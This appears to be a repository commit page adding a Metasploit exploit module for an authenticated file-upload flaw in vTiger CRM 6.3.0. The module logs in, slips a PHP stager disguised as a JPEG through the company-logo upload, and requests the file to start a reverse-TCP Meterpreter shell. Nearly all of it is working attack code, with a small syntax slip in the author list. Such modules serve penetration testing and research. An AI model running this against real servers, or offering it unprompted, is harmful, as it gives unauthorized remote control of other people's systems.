vTiger CRM v6.3.0 (CVE:2015-6000,CVE:2016-1713)
an attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.GSoC/Meterpreter_Web_Console
parent
985807cc4e
commit
12457d14f7
|
@ -0,0 +1,225 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Vtiger CRM - Authenticated Logo Upload Remote Code Execution',
|
||||
'Description' => %q{
|
||||
Vtiger 6.3.0 CRM's administration interface allows for the upload of a company logo.
|
||||
Instead of uploading an image, an attacker may choose to upload a file containing PHP code and
|
||||
run this code by accessing the resulting PHP file.
|
||||
|
||||
This module was tested against vTiger CRM v6.3.0.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Benjamin Daniel Mussler', # Discoverys
|
||||
'Touhid M.Shaikh <touhidshaikh22@gmail.com>' # Metasploit Module
|
||||
'SecureLayer7.net' # Metasploit Modules
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-6000'],
|
||||
['CVE','2016-1713'],
|
||||
['EDB', '38345']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => false,
|
||||
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
|
||||
'Encoder' => 'php/base64'
|
||||
},
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
['vTiger CRM v6.3.0', { }],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Sep 28 2015'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/']),
|
||||
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
|
||||
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'password'])
|
||||
])
|
||||
|
||||
# Some PHP version uses php_short_code=ON
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('PHPSHORTTAG', [ false, 'Set a short_open_tag option', false ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
res = nil
|
||||
begin
|
||||
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php') })
|
||||
rescue
|
||||
vprint_error("Unable to access the index.php file")
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res and res.code != 200
|
||||
vprint_error("Error accessing the index.php file")
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.body =~ /<small> Powered by vtiger CRM (.*.0)<\/small>/i
|
||||
vprint_status("vTiger CRM version: " + $1)
|
||||
case $1
|
||||
when '6.3.0'
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return CheckCode::Detected
|
||||
end
|
||||
end
|
||||
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
# Login Function.
|
||||
def login
|
||||
# Dummy Request for grabbing CSRF token and PHPSESSION ID
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'vhost' => "#{rhost}:#{rport}",
|
||||
})
|
||||
|
||||
# Grabbing CSRF token from body
|
||||
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
|
||||
vprint_good("CSRF Token for login: #{csrf}")
|
||||
|
||||
# Get Login now.
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'vars_get' => {
|
||||
'module' => 'Users',
|
||||
'action' => 'Login',
|
||||
},
|
||||
'vars_post' => {
|
||||
'__vtrftk' => csrf,
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
},
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request")
|
||||
end
|
||||
|
||||
if res.code == 302 && res.headers['Location'].include?("index.php?module=Users&parent=Settings&view=SystemSetup")
|
||||
vprint_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
|
||||
return res.get_cookies
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
begin
|
||||
cookie = login
|
||||
pay_name = rand_text_alpha(rand(5..10)) + ".php"
|
||||
|
||||
# Make a payload raw. I added this bcz when i making this module. server have short_open_tag=ON
|
||||
vprint_warning("Payload Generate according to short_open_tag=#{datastore['PHPSHORTTAG']}")
|
||||
if datastore['PHPSHORTTAG'] == true
|
||||
stager = '<? '
|
||||
stager << payload.encode
|
||||
stager << ' ?>'
|
||||
else
|
||||
stager = '<?php '
|
||||
stager << payload.encode
|
||||
stager << ' ?>'
|
||||
end
|
||||
|
||||
|
||||
# Again request for CSRF_token
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'vhost' => "#{rhost}:#{rport}",
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
# Grabbing CSRF token from body
|
||||
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
|
||||
vprint_good("CSRF Token for Form Upload: #{csrf}")
|
||||
|
||||
# Setting Company Form data
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"__vtrftk\"") # CSRF token
|
||||
post_data.add_part('Vtiger', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"module\"")
|
||||
post_data.add_part('Settings', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"parent\"")
|
||||
post_data.add_part('CompanyDetailsSave', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"action\"")
|
||||
post_data.add_part(stager, content_type = "image/jpeg", transfer_encoding = nil, content_disposition = "form-data; name=\"logo\"; filename=\"#{pay_name}\"") #payload Content-type bypass
|
||||
post_data.add_part('vtiger', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"organizationname\"")
|
||||
post_data.add_part('95, 12th Main Road, 3rd Block, Rajajinagar', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"address\"")
|
||||
post_data.add_part('Bangalore', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"city\"")
|
||||
post_data.add_part('Karnataka', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"state\"")
|
||||
post_data.add_part('560010', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"code\"")
|
||||
post_data.add_part('India', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"country\"")
|
||||
post_data.add_part('+91 9243602352', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"phonxe\"")
|
||||
post_data.add_part('+91 9243602352', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"fax\"")
|
||||
post_data.add_part('www.touhidshaikh.com', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"website\"")
|
||||
post_data.add_part('1234-5678-9012', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"vatid\"")
|
||||
post_data.add_part(' ', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"saveButton\"")
|
||||
data = post_data.to_s
|
||||
|
||||
print_good("Payload ready for upload : [ #{pay_name} ]")
|
||||
|
||||
print_status("Uploading payload..")
|
||||
# in Company Logo upload our payload.
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'vhost' => "#{rhost}:#{rport}",
|
||||
'cookie' => cookie,
|
||||
'connection' => 'close',
|
||||
'headers' => {
|
||||
'Referer' => 'http://192.168.101.10:88/index.php?parent=Settings&module=Vtiger&view=CompanyDetails',
|
||||
'Upgrade-Insecure-Requests' => '1',
|
||||
},
|
||||
'data' => data,
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
})
|
||||
|
||||
unless res && res.code == 302
|
||||
fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
|
||||
end
|
||||
|
||||
# Cleanup file.
|
||||
register_files_for_cleanup(pay_name)
|
||||
|
||||
print_status("Executing Payload [ #{rhost}:#{rport}/test/logo/#{pay_name} ]" )
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "test", "logo", pay_name)
|
||||
})
|
||||
|
||||
# If we don't get a 200 when we request our malicious payload, we suspect
|
||||
# we don't have a shell, either.
|
||||
if res && res.code != 200
|
||||
print_error("Unexpected response, probably the exploit failed")
|
||||
end
|
||||
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue